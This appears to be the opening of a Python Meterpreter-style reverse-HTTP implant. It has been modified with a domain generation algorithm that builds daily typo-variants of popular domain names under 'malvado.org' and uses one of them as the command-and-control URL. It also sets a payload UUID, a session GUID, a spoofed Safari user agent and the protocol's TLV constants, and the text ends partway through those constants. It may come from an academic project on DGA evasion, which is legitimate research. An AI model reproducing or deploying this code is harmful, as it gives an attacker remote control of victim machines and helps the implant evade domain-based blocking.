final-http.py

#!/usr/bin/python
import binascii
import code
import os
import platform
import random
import re
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback

# ***************************** imports domains ***************************
import random
from datetime import date
import string
# ***************************** imports domains ***************************

try:
    import ctypes
except ImportError:
    has_windll = False
else:
    has_windll = hasattr(ctypes, 'windll')

try:
    urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
    if sys.version_info[0] < 3:
        urllib = __import__('urllib2', fromlist=urllib_imports)
    else:
        urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
    has_urllib = False
else:
    has_urllib = True

if sys.version_info[0] < 3:
    is_str = lambda obj: issubclass(obj.__class__, str)
    is_bytes = lambda obj: issubclass(obj.__class__, str)
    bytes = lambda *args: str(*args[:1])
    NULL_BYTE = '\x00'
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
    if isinstance(__builtins__, dict):
        is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
        str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    else:
        is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
        str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    is_bytes = lambda obj: issubclass(obj.__class__, bytes)
    NULL_BYTE = bytes('\x00', 'UTF-8')
    long = int
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)

# reseed the random generator.
random.seed()

#
# Constants
#

# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
TRY_TO_FORK = True



# ***************************CODE TO GENERATE VALID DOMAIN ****************************
def generate_domain():

	NUM_REDIRECTORS = 4

	fileIn = open('top-200.csv', 'r')
	names = fileIn.readlines()
	fileIn.close()
	valid_names = []

	for name in names:
		#remove numbers and domain
		valid_names.append(name.strip().split(",")[1].split(".")[0])

	#remove duplicate
	valid_names = [i for n, i in enumerate(valid_names) if i not in valid_names[:n]]

	#generate date seed

	#random.seed(11)
	#print(date.today())

	random.seed(date.today().strftime("%Y%m%d"))
	#choose random domain names
	random_indices = random.sample(range(0,len(valid_names)), NUM_REDIRECTORS)

	valid_names_random = []

	for j in range(NUM_REDIRECTORS):
		valid_names_random.append(valid_names[random_indices[j]])

	changed_names_random = []

	for n in range(NUM_REDIRECTORS):

		if len(valid_names[random_indices[n]]) > 1:
			#generate 2 random position to change
			change_characters = random.sample(range(0,len(valid_names[random_indices[n]])), 2)
			temp = list(valid_names_random[n]) 
			#change 2 characters
			temp[change_characters[0]] = random.choices(string.ascii_lowercase)[0]
			temp[change_characters[1]] = random.choices(string.ascii_lowercase)[0]

			changed_names_random.append(''.join(temp))
			
			#add TFG domain
			changed_names_random[n] = changed_names_random[n] + ".malvado.org"

		else:
			temp = random.choices(string.ascii_lowercase)[0]
			changed_names_random.append(''.join(temp))
			changed_names_random[n] = changed_names_random[n] + ".malvado.org"

			
	# reseed the random generator.
	random.seed()
	redirector = changed_names_random[random.randrange(0,NUM_REDIRECTORS)]
	# (redirector)
	#print (changed_names_random)
	return redirector
# ***************************CODE TO GENERATE VALID DOMAIN ****************************



HTTP_CONNECTION_URL = 'http://'+generate_domain()+'/KTRhg_yaxFhjGXYNAWP4iwOxsNqPIoApEWI/'
HTTP_PROXY = None
HTTP_USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15'
HTTP_COOKIE = None
HTTP_HOST = None
HTTP_REFERER = None
PAYLOAD_UUID = '7031be3998711dd86232772600499ece'
SESSION_GUID = 'c1c5a4dd8ba44aacba715ad2b95086b6'
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
SESSION_RETRY_WAIT = 10

PACKET_TYPE_REQUEST        = 0
PACKET_TYPE_RESPONSE       = 1
PACKET_TYPE_PLAIN_REQUEST  = 10
PACKET_TYPE_PLAIN_RESPONSE = 11

ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3

CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM   = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL     = 3

#
# TLV Meta Types
#
TLV_META_TYPE_NONE       = (   0   )
TLV_META_TYPE_STRING     = (1 << 16)
TLV_META_TYPE_UINT       = (1 << 17)
TLV_META_TYPE_RAW        = (1 << 18)
TLV_META_TYPE_BOOL       = (1 << 19)
TLV_META_TYPE_QWORD      = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP      = (1 << 30)
TLV_META_TYPE_COMPLEX    = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)

#
# TLV base starting points
#
TLV_RESERVED   = 0
TLV_EXTENSIONS = 20000
TLV_USER       = 40000
TLV_TEMP       = 60000

#
# TLV Specific Types
#
TLV_TYPE_ANY                   = TLV_META_TYPE_NONE    | 0
TLV_TYPE_COMMAND_ID            = TLV_META_TYPE_UINT    | 1
TLV_TYPE_REQUEST_ID            = TLV_META_TYPE_STRING  | 2
TLV_TYPE_EXCEPTION             = TLV_META_TYPE_GROUP   | 3
TLV_TYPE_RESULT                = TLV_META_TYPE_UINT    | 4

TLV_TYPE_STRING                = TLV_META_TYPE_STRING  | 10
TLV_TYPE_UINT                  = TLV_META_TYPE_UINT    | 11
TLV_TYPE_BOOL                  = TLV_META_TYPE_BOOL    | 12